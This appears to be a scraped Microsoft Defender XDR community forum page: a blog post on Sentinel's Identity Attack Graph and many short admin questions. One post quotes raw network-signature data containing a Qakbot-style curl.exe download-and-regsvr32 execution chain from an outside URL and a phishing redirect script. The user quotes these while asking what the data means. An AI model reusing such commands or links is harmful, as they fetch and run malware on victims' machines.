Microsoft Defender XDR topics

Identity Attack Graph in Microsoft Sentinel

klianos — Wed, 06 May 2026 11:47:45 GMT

Identity is now one of the most important attack surfaces in cloud security. In many real-world incidents, attackers do not rely only on malware or network movement. Instead, they abuse identities, permissions, role assignments, group memberships, service principals, and misconfigured access paths to move from an initial compromise to high-value resources.

This is why the new Identity Attack Graph in Microsoft Sentinel is an important capability. It helps security teams visualize how identities are connected to Azure resources and how an attacker could potentially move from one identity to another resource through permissions and relationships.

What is the Identity Attack Graph?

The Identity Attack Graph in Microsoft Sentinel provides a visual way to understand how identities, permissions, groups, and Azure resources are connected.

Instead of manually checking multiple portals, logs, and role assignments, the graph helps analysts understand relationships such as:

Which identities have access to specific Azure resources
Which users or service principals are over-privileged
Which groups provide indirect access to sensitive resources
Which identities may have a path to critical assets
What the potential blast radius of a compromised identity could be
How attackers could move laterally through identity and permission relationships

This is especially useful because identity risk is often not obvious when looking at a single user, group, or role assignment in isolation. The real risk usually appears when these relationships are connected together.

A user may not directly have access to a sensitive resource, but the user may be a member of a group that has access to another resource, which then has permissions that create a path toward a high-value asset.

The Identity Attack Graph helps expose these hidden relationships.

Why this matters

In many Azure environments, permissions grow over time. Users change roles, groups are reused, emergency access is granted, service principals are created, and temporary permissions are not always removed.

As a result, organizations often end up with:

Too many privileged identities
Unused or stale permissions
Service principals with excessive access
Guest users with unnecessary permissions
Groups that provide indirect access to sensitive resources
Subscription-level roles that are broader than required
Lack of visibility into who can reach critical assets

Traditional investigation usually requires analysts to move between several places, including Microsoft Entra ID, Azure RBAC, Azure Activity logs, Sentinel queries, Defender XDR, and Azure Resource Graph.

The Identity Attack Graph reduces this complexity by presenting identity relationships as a connected graph.

This makes it easier to answer practical security questions such as:

“What can this identity access?”
“What happens if this user is compromised?”
“Which identities have a path to critical resources?”
“Which access path should we remediate first?”
“Which permissions create the highest risk?”
“Why does this identity have access to this asset?”

Key use cases

The feature can support several important identity security and cloud security scenarios.

1. Attack path discovery

Security teams can use the graph to identify how an attacker could move from a compromised identity to a sensitive Azure resource.

This is useful during both proactive assessments and active incident response.

For example, if a user account is suspected to be compromised, the graph can help identify which resources may be reachable through that identity’s direct or indirect permissions.

2. Blast-radius analysis

When an identity is compromised, one of the first questions is:

What could the attacker access with this identity?

The Identity Attack Graph can help analysts understand the potential impact of a compromised user, group, service principal, or managed identity.

This can help with containment, prioritization, and communication with stakeholders.

3. Over-privileged identity detection

The graph can help identify identities that have more permissions than they need.

Include:

Users with Owner or Contributor access at subscription level
Service principals with broad permissions
Guest users with privileged access
Groups that grant access to sensitive resources
Identities that have access to multiple critical assets

This is useful for enforcing least privilege and reducing identity attack surface.

4. Privileged access review

IAM and cloud security teams can use the graph to support access reviews.

Instead of only reviewing a list of role assignments, teams can understand the real impact of those permissions.

This helps answer:

Is this role assignment still required?
Does this group create unnecessary risk?
Does this identity have access to critical resources?
Is this access direct or inherited?
Is this path expected or suspicious?

5. Incident response and threat hunting

For SOC teams, the graph can support investigations involving:

Suspicious sign-ins
Compromised users
Privilege escalation
Suspicious role assignments
Lateral movement
Service principal abuse
Unusual access to sensitive resources

The graph does not replace logs or hunting queries, but it gives analysts a faster way to understand relationships and prioritize what to investigate next.

Important prerequisites and setup notes

During my evaluation, there were a few important setup requirements that should be clearly highlighted.

Microsoft Sentinel permissions

The environment must already be onboarded to Microsoft Sentinel, and the user testing or configuring the feature must have the appropriate Microsoft Sentinel permissions.

The documented role requirement includes Microsoft Sentinel Contributor.

However, in my experience, this is not always enough for the full onboarding and validation experience.

Subscription-level Owner permission

One important prerequisite that should be clearly mentioned is that Owner permissions at the Azure subscription level may be required.

This is especially important during onboarding and activation, because the graph depends on access to Azure resource and permission relationships.

If the user does not have sufficient subscription-level permissions, some setup steps or visibility into resources and relationships may not work as expected.

Recommended permission note:

In addition to Microsoft Sentinel permissions, ensure that the user configuring the preview has Owner permissions at the subscription level for the subscriptions that should be represented in the graph.

This should be made very clear in the onboarding documentation to avoid confusion during deployment.

Required data connector: Azure Resource Graph

Another very important setup step is the Azure Resource Graph data connector.

The Azure Resource Graph connector must be:

Installed manually

Activated manually

Connected to the relevant Sentinel workspace

This is a key point. The connector is not automatically enabled just because the Identity Attack Graph feature is available.

Without this connector, Sentinel may not have the required Azure resource relationship data needed to build a useful graph.

Why Azure Resource Graph is important

Azure Resource Graph provides visibility across Azure resources, subscriptions, and relationships. For an identity attack graph, this data is essential.

The graph needs to understand not only identities, but also the resources those identities can reach.

This may include:

Subscriptions
Resource groups
Storage accounts
Key Vaults
Virtual machines
Managed identities
Role assignments
Resource relationships
Resource hierarchy
Critical assets

Without Azure Resource Graph data, the attack graph may not provide the full picture of how identities connect to Azure resources.

For this reason, I believe the onboarding instructions should explicitly state:

The Azure Resource Graph data connector must be manually installed and activated before using the Identity Attack Graph.

Recommended onboarding checklist

Before using the Identity Attack Graph, I would recommend validating the following:

Requirement

Recommendation

Microsoft Sentinel workspace

Ensure the workspace is active and accessible

Sentinel role

Microsoft Sentinel Contributor or equivalent access

Subscription permissions

Owner permissions at subscription level

Azure Resource Graph connector

Manually install and activate the connector

Azure RBAC visibility

Ensure access to relevant role assignments

Microsoft Entra ID visibility

Ensure identity and group data is available

Resource visibility

Validate that relevant subscriptions and resources are visible

Data freshness

Allow enough time for data collection and graph population

This checklist can help avoid issues where the feature appears available but does not show the expected relationships.

How the Identity Attack Graph improves investigation

Before using a graph-based approach, an analyst often needs to manually collect and correlate data from multiple sources.

A typical investigation may include:

Checking the user in Microsoft Entra ID
Reviewing group memberships
Reviewing Azure RBAC assignments
Checking subscription-level access
Looking at resource-level permissions
Reviewing PIM activations
Searching Sentinel logs
Running KQL queries
Checking Azure Activity logs
Validating access with cloud or IAM teams

This process can be time-consuming.

The Identity Attack Graph helps reduce this effort by showing relationships visually. This allows the analyst to understand the possible path faster and decide where to focus.

For example, instead of manually asking:

“Does this user have access to this resource through any group, role, or inherited permission?”

The graph can help show the relationship directly.

This is valuable because many risky permissions are indirect. The user may not have direct access, but may inherit access through a group, role assignment, nested relationship, or service principal path.

Where validation is still needed

Although the graph provides strong visibility, I would still validate findings before taking remediation action.

This is especially important because removing access can affect business operations or production systems.

I would still validate with:

Microsoft Sentinel KQL queries
Microsoft Entra sign-in logs
Microsoft Entra audit logs
Azure Activity logs
Azure RBAC role assignments
PIM activation history
Defender XDR signals
Defender for Cloud recommendations
Azure Resource Graph queries
IAM team input
Cloud platform team input
Application owner confirmation

The graph is very useful for discovery and prioritization, but final remediation decisions should still be validated.

GQL and graph-based investigation

One of the interesting aspects of this feature is the use of graph-based thinking.

Security teams are already familiar with query languages such as KQL for log analytics. However, graph investigation is different.

KQL is excellent for searching and analyzing events over time, such as sign-ins, alerts, audit logs, and activity logs.

Graph Query Language, or GQL, is designed for querying connected data. Instead of only asking what happened at a specific time, graph queries help answer how entities are connected.

In identity security, this is very powerful because the risk often exists in the relationship between objects.

Graph entities include:

Users
Groups
Service principals
Managed identities
Roles
Subscriptions
Resource groups
Azure resources
Permissions
Sessions
Attack paths

Graph relationships include:

User is member of group
Group has role assignment
Identity has access to resource
Service principal owns application
Managed identity can access Key Vault
User can escalate privilege
Identity can reach critical asset

This allows analysts to ask more relationship-focused questions, such as:

Which identities can reach this resource?
What is the shortest path from this user to a critical asset?
Which groups create privileged access?
Which service principals have paths to sensitive resources?
Which identities have indirect access through nested relationships?
Which attack paths include subscription Owner or Contributor permissions?

KQL vs GQL: why both are useful

KQL and GQL serve different but complementary purposes.

Area

KQL

GQL / Graph Querying

Main purpose

Analyze logs and events

Analyze relationships and paths

Best for

Time-based investigation

Connected identity/resource investigation

question

“Did this user sign in from a risky location?”

“What resources can this user reach?”

Data model

Tables

Nodes and edges

Common use

Detection, hunting, analytics

Attack path discovery, relationship mapping

Strength

Event correlation

Path discovery

In practice, security teams need both.

KQL can identify a suspicious sign-in.
The Identity Attack Graph can show what the compromised identity could access.
KQL can then be used again to validate whether the attacker interacted with those resources.

This creates a strong workflow between event-based detection and relationship-based investigation.

Graph investigation scenarios

The following are conceptual are the types of graph questions that would be useful in identity attack path analysis.

Find paths from a user to critical resources

A useful graph query would help answer:

Show me all paths from this user to critical Azure resources.

This could help determine whether a compromised identity has a direct or indirect route to sensitive assets.

Find identities with paths to Key Vaults

Key Vaults often contain secrets, certificates, and keys.

A graph query could help identify:

Which users, groups, service principals, or managed identities have a path to Key Vault resources?

This would be useful for prioritizing access review and remediation.

Find subscription-level privileged identities

Subscription-level roles are high-impact because they can provide broad access.

A graph query could help find:

Which identities have Owner or Contributor access at subscription level?

This is especially important because subscription-level permissions can create wide attack paths.

Find indirect access through groups

Many access paths are created through group membership.

A graph query could help answer:

Which users have access to this resource through group membership?

This can help IAM teams clean up excessive or unnecessary group-based access.

Find service principals with broad access

Service principals are often used for automation and applications, but they can become high-risk if over-privileged.

A useful query would identify:

Which service principals have broad access to subscriptions or critical resources?

This is important because service principal compromise can lead to significant impact.

How GQL can improve analyst workflows

Adding strong GQL support to the graph explorer would make the feature more powerful for advanced users.

You could use graph queries to:

Search for specific paths
Filter by identity type
Filter by role
Filter by resource type
Find shortest paths
Find high-risk paths
Exclude known approved paths
Focus on critical assets
Query only privileged relationships
Identify unexpected permission chains

This would help both SOC analysts and cloud security engineers move from visual exploration to repeatable analysis.

A SOC analyst may want a quick visual graph during an incident, while a cloud security engineer

Scope filter (preview) has stopped working in Edge/Chrome

Pal Espen Bru — Wed, 06 May 2026 08:05:00 GMT

We have noticed that the Scope filter (preview) under Exposure Management -> Vulnerability Management has stopped working across all our desktops on the latest versions of Edge and Chrome. We see it across the board so guess it should be replicatable by you too.

Not critical enough that it warrants our time spent on an incident since it'll likely get reported anyhow, but putting it out here in case it's picked up by the Product Owners or Dev teams.

Microsoft Defender Incident – Handling incident severity change.

esanya2280 — Mon, 04 May 2026 12:06:36 GMT

I am polling incidents via Microsoft Graph API every 5 minutes, initially filtering out Low/Informational incidents.

Later, some low severity incidents are updated to High/Medium severity.

Is there any built-in mechanism in Defender for tracking severity transitions?

Fishing linking passwords and data

79470Valen — Thu, 02 Apr 2026 15:06:48 GMT

activar control de seguridad mejorada antivirus maleware and fishing data

Why there is no Signature status for the new process in the DeviceProcessEvent table?

rstanile — Thu, 12 Mar 2026 09:22:30 GMT

According to the schema, there is only field for checking the initiating (parent) process digital signature, named InitiatingProcessSignatureStatus. So we have information if the process that initiated the execution is signed. However, in many security use-cases it is important to know if the spawned (child) process is digitally signed.

Let's assume that Winword.exe (signed) executed unsigned binary - this is definitely different situation than Winword.exe executing some signed binary (although both may be suspicious, or legitimate).

I feel that some valuable information is not provided, and I'd like to know the reason. Is it related to the logging performance? Or some memory structures, that are present only for the already existing process?

Issues blocking DeepSeek

KevinJohnson1 — Thu, 26 Feb 2026 02:45:18 GMT

Hi all,

I am investigating DeepSeek usage in our Microsoft security environment and have found inconsistent behaviour between Defender for Cloud Apps, Defender for Endpoint, and IOC controls. I am hoping to understand if others have seen the same.

Environment

Full Microsoft security and management suite

What we are seeing

Defender for Cloud Apps

DeepSeek is classified as an Unsanctioned app

Cloud Discovery shows ongoing traffic and active usage

Multiple successful sessions and data activity visible

Defender for Endpoint Indicators

DeepSeek domains and URIs have been added as Indicators with Block action

Indicators show as successfully applied

Advanced Hunting and Device Timeline

Multiple executable processes are initiating connections to DeepSeek domains

Examples include Edge, Chrome, and other executables making outbound HTTPS connections

Connection status is a mix of Successful and Unsuccessful

No block events recorded

Settings

Network Protection enabled in block mode

Web Content Filtering enabled

SmartScreen enabled

File Hash Computation enabled

Network Protection Reputation mode set to 1

Has anyone else had similar issues when trying to block DeepSeek or other apps via Microsoft security suite?

I am currently working with Microsoft support on this but wanted to ask here as well.

Observed Automation Discrepancies

Aar123 — Mon, 09 Feb 2026 08:54:18 GMT

Hi Team ... I want to know the logic behind the Defender XDR Automation Engine . How it works ?

I have observed Defender XDR Automation Engine Behavior contrary to expectations of identical incident and automation handling in both environments, discrepancies were observed. Specifically, incidents with high-severity alerts were automatically closed by Defender XDR's automation engine before reaching their SOC for review, raising concerns among clients and colleagues. Automation rules are clearly logged in the activity log, whereas actions performed by Microsoft Defender XDR are less transparent .

A high-severity alert related to a phishing incident was closed by Defender XDR's automation, resulting in the associated incident being closed and removed from SOC review. Wherein the automation was not triggered by our own rules, but by Microsoft's Defender XDR, and sought clarification on the underlying logic.

Invalidating kerberos tickets via XDR?

JoelNyRe — Mon, 26 Jan 2026 19:40:38 GMT

Since we have alerts every now and then, regarding suspected Pass the Ticket-incidents, I want to know if there's a way to make a user's kerberos ticket invalid? Like we have the "Revoke Session" in Entra ID, is there anything similar that we can do in XDR?

Where can I get the latest info on Advanced Hunting Table Retirement

david_n_o — Tue, 20 Jan 2026 11:35:09 GMT

First question - where can I find the latest info on the deprecation of advanced hunting tables?

Background - I was developing some detections and as I was trying to decide on which table I should use I opened up the docs containing the schema for the `EntraIdSignInEvents` table (https://learn.microsoft.com/en-us/defender-xdr/advanced-hunting-entraidsigninevents-table) and was met by two ambiguous banners stating:

"On December 9, 2025, the EntraIdSignInEvents table will replace AADSignInEventsBeta. This change will be made to remove the latter's preview status and to align it with the existing product branding. Both tables will coexist until AADSignInEventsBeta is deprecated after the said date.

To ensure a smooth transition, make sure that you update your queries that use the AADSignInEventsBeta table to use EntraIdSignInEvents before the previously mentioned date. Your custom detections will be updated automatically and won't require any changes."

"Some information relates to prereleased product that may be substantially modified before it's commercially released. Microsoft makes no warranties, express or implied, with respect to the information provided here.

Customers need to have a Microsoft Entra ID P2 license to collect and view activities for this table."

This made me very confused as I still have data from AADSignInEventsBeta on my tenant from today. I'm not sure what this means and I'm hoping to get some clear info on table retirement.

Entity playbook in XDR

Kosa — Fri, 19 Dec 2025 10:08:37 GMT

Hello All!

In my Logic Apps Sentinel automations I often use the entity trigger to run some workflows. Some time ago there was information, that Sentinel will be moved to the Microsoft XDR, some of the Sentinel elements are already there. In XDR I can run playbook from the incident level, but I can't do it from the entity level - for example in the XDR when I clicked in the IP or when I open IP address page I can't find the Run playbook button or something like that.

Do you know if the Run playbook on entity feature will be moved to XDR also?

Best,
Piotr K.

Scam Defender pop Up… help please

Hmartin1 — Thu, 18 Dec 2025 18:07:46 GMT

Can someone please help

my dad has had what looks like scam pop ups come up on his MacBook

I have reported to Microsoft but don’t know how long it will be until they get back to me.
I want to know if anyone can confirm they’re scams and how I can get them off his screen, it won’t let us click on the X

Thank you

Custom Data Collection - Not Collect Events

GuidoImpe — Tue, 09 Dec 2025 13:46:42 GMT

Hello,

Have anyone test or implement Custom Data Collection from Defender XDR ?

I try to use this function, i create rule and attach Sentinel Workspace, but for Example the "DeviceCustomProcessEvents" Table remains empty.

But with comand "DeviceProcessEvents" there are events that match the rule that i create.

There is another person that have the same issues ?

Many thanks,

Regards,

Guido

NetworkSignatureInspected

MrD — Fri, 28 Nov 2025 10:22:04 GMT

Hi,

Whilst looking into something, I was thrown off by a line in a device timeline export, with ActionType of NetworkSignatureInspected, and the content.

I've read this article, so understand the basics of the function:

Enrich your advanced hunting experience using network layer signals from Zeek

I popped over to Sentinel to widen the search as I was initially concerned, but now think it's expected behaviour as I see the same data from different devices.

Can anyone provide any clarity on the contents of AdditionalFields, where the ActionType is NetworkSignatureInspected, references for example CVE-2021-44228:

${token}/sendmessage`,{method:"post",%90%00%02%10%00%00%A1%02%01%10*%A9Cj)|%00%00$%B7%B9%92I%ED%F1%91%0B\%80%8E%E4$%B9%FA%01.%EA%FA<title>redirecting...</title><script>window.location.href="https://uyjh8.phiachiphe.ru/bjop8dt8@0uv0/#%90%02%1F@%90%02%1F";%90%00!#SCPT:Trojan:BAT/Qakbot.RVB01!MTB%00%02%00%00%00z%0B%01%10%8C%BAUU)|%00%00%CBw%F9%1Af%E3%B0?\%BE%10|%CC%DA%BE%82%EC%0B%952&&curl.exe--output%25programdata%25\xlhkbo\ff\up2iob.iozv.zmhttps://neptuneimpex.com/bmm/j.png&&echo"fd"&&regsvr32"%90%00!#SCPT:Trojan:HTML/Phish.DMOH1!MTB%00%02%00%00%00{%0B%01%10%F5):[)|%00%00v%F0%ADS%B8i%B2%D4h%EF=E"#%C5%F1%FFl>J<scripttype="text/javascript">window.location="https://

Defender reports no issues on the device and logs (for example DeviceNetworkEvents or CommonSecurityLog) don't return any hits for the sites referenced.

Any assistance with rationalising this would be great, thanks.

How to stop incidents merging under new incident (MultiStage) in defender.

smavrakis — Tue, 25 Nov 2025 14:17:12 GMT

Dear All

We are experiencing a challenge with the integration between Microsoft Sentinel and the Defender portal where multiple custom rule alerts and analytic rule incidents are being automatically merged into a single incident named "Multistage." This automatic incident merging affects the granularity and context of our investigations, especially for important custom use cases such as specific admin activities and differentiated analytic logic.

Key concerns include:

Custom rule alerts from Sentinel merging undesirably into a single "Multistage" incident in Defender, causing loss of incident-specific investigation value.
Analytic rules arising from different data sources and detection logic are merged, although they represent distinct security events needing separate attention.
Customers require and depend on distinct, non-merged incidents for custom use cases, and the current incident correlation and merging behavior undermines this requirement.

We understand that Defender’s incident correlation engine merges incidents based on overlapping entities, timelines, and behaviors but would like guidance or configuration best practices to disable or minimize this automatic merging behavior for our custom and analytic rule incidents. Our goal is to maintain independent incidents corresponding exactly to our custom alerts so that hunting, triage, and response workflows remain precise and actionable.

Any recommendations or advanced configuration options to achieve this separation would be greatly appreciated.

Thank you for your assistance.

Best regards

Security Admin role replacement with Defender XDR

Sharmila1 — Wed, 19 Nov 2025 12:28:51 GMT

We currently have the Security Administrator role assigned to multiple users in our organization. We are considering replacing it with custom RBAC roles in Microsoft Defender XDR as described in Custom roles for role-based access control - Microsoft Defender XDR | Microsoft Learn

Our goal is to provide these users full access to the Microsoft Defender security portal so they can respond to alerts and manage security operations. They do not require access to the Entra ID portal for tasks such as managing conditional access policies or authentication method policies.

Can we completely remove the Security Administrator role and rely solely on the custom RBAC role in Defender XDR to meet these requirements?

Custom data collection in MDE - what is default?

AndAufVCG — Wed, 19 Nov 2025 09:44:53 GMT

So you just announced the preview of "Custom data collection in Microsoft Defender for Endpoint (Preview)" which lets me ingest custom data to sentinel.

Is there also an overview of what is default and what I can add?

e.g. we want to examine repeating disconnects from AzureVPN clients
(yes, it's most likely just Microsoft's fault, as the app ratings show 'everyone' is having them)
How do I know which data I can add to DeviceCustomNetworkEvents which isnt already in DeviceNetworkEvents?

Permissions to see and manage sentinel workspace in Defender XDR

Abn_V — Thu, 13 Nov 2025 07:56:14 GMT

Hi Team,

One of my customers recently completed their Sentinel → Defender portal migration. Initially, I didn’t have access to view the Defender portal, but after the migration I was assigned the Security Operator role in Entra (via PIM), which now allows me to access the Defender portal.However, when I navigate to:
Defender portal → System → Settings → Microsoft Sentinel → Workspaces. I’m unable to view the available workspaces. The portal shows an insufficient permissions error, and I also cannot switch the primary/secondary workspace. Could you please advise on the exact permissions/roles required to: View the Sentinel workspace list in Defender, and Switch the primary workspace? Thanks in advance

XDR RBAC missing Endpoint & Vulnerability Management

MikeLister — Tue, 11 Nov 2025 21:54:35 GMT

I've been looking at ways to provide a user with access to the Vulnerability Dashboard and associated reports without giving them access to anything else within Defender (Email, Cloud App etc) looking at the article Activate Microsoft Defender XDR Unified role-based access control (RBAC) - Microsoft Defender XDR | Microsoft Learn it has a slider for Endpoint Management which I don't appear to have?

I have business Premium licences which give me GA access to see the data so I know I'm licenced for it and it works but I can't figure out how to assign permissions.

When looking at creating a custom permission here Permissions in Microsoft Defender XDR Unified role-based access control (RBAC) - Microsoft Defender XDR | Microsoft Learn it mentions Security Posture Management would give them Vulnerability Management Level Read which is what I'm after but that doesn't appear to be working. The test account i'm using to try this out just gets an error

Error getting device data

I'm assuming its because it doesn't have permissions of the device details?

Explorer permission to download an email

underQualifried — Tue, 04 Nov 2025 19:08:46 GMT

Global Admin is allegedly not sufficient access to download an email. So I have a user asking for a copy of her emaill, and I'm telling her 'sorry, I don't have that permission', I'm only global admin'

What?

The documentation basically forces you to use the new terrible 'role group' system. I see various 'roles' that you need to add to a 'role group' in order to do this.. Some mention Preview, some mention Security Administrator, some mention Security Operator. I've asked copilot 100 different times, and he keeps giving me made up roles. But then linking to the made up role.

How is such a basic functionality broken? It makes 0 sense. I don't want to submit this email - it's not malware or anything. I just want to download the **bleep** thing, and I don't want to have to go through the whole poorview process. This is really basic stuff. I can do this on about 10% of my GA accounts. There's no difference in the permissions - it just seems inconsistent.

XDR advanced hunting region specific endpoints

ghostrider31 — Thu, 30 Oct 2025 17:10:15 GMT

Hi, I am exploring XDR advanced hunting API to fetch data specific to Microsoft Defender for Endpoint tenants. The official documentation (https://learn.microsoft.com/en-us/defender-xdr/api-advanced-hunting) mentions to switch to Microsoft Graph advanced hunting API. I had below questions related to it:

1. To fetch the region specific(US , China, Global) token and Microsoft Graph service root endpoints(https://learn.microsoft.com/en-us/graph/deployments#app-registration-and-token-service-root-endpoints ) , is the recommended way to fetch the OpenID configuration document (https://learn.microsoft.com/en-us/entra/identity-platform/v2-protocols-oidc#fetch-the-openid-configuration-document) for a tenant ID and based on the response, the region specific SERVICE/TOKEN endpoints could be fetched? Since using it, there is no need to maintain different end points for tenants in different regions. And do we use the global service URL https://login.microsoftonline.com to fetch OpenID config document for a tenantID in any region?

2. As per the documentation, Microsoft Graph Advanced hunting API is not supported in China region (https://learn.microsoft.com/en-us/graph/api/security-security-runhuntingquery?view=graph-rest-1.0&tabs=http). In this case, is it recommended to use Microsoft XDR Advanced hunting APIs(https://learn.microsoft.com/en-us/defender-xdr/api-advanced-hunting) to support all region tenants(China, US, Global)?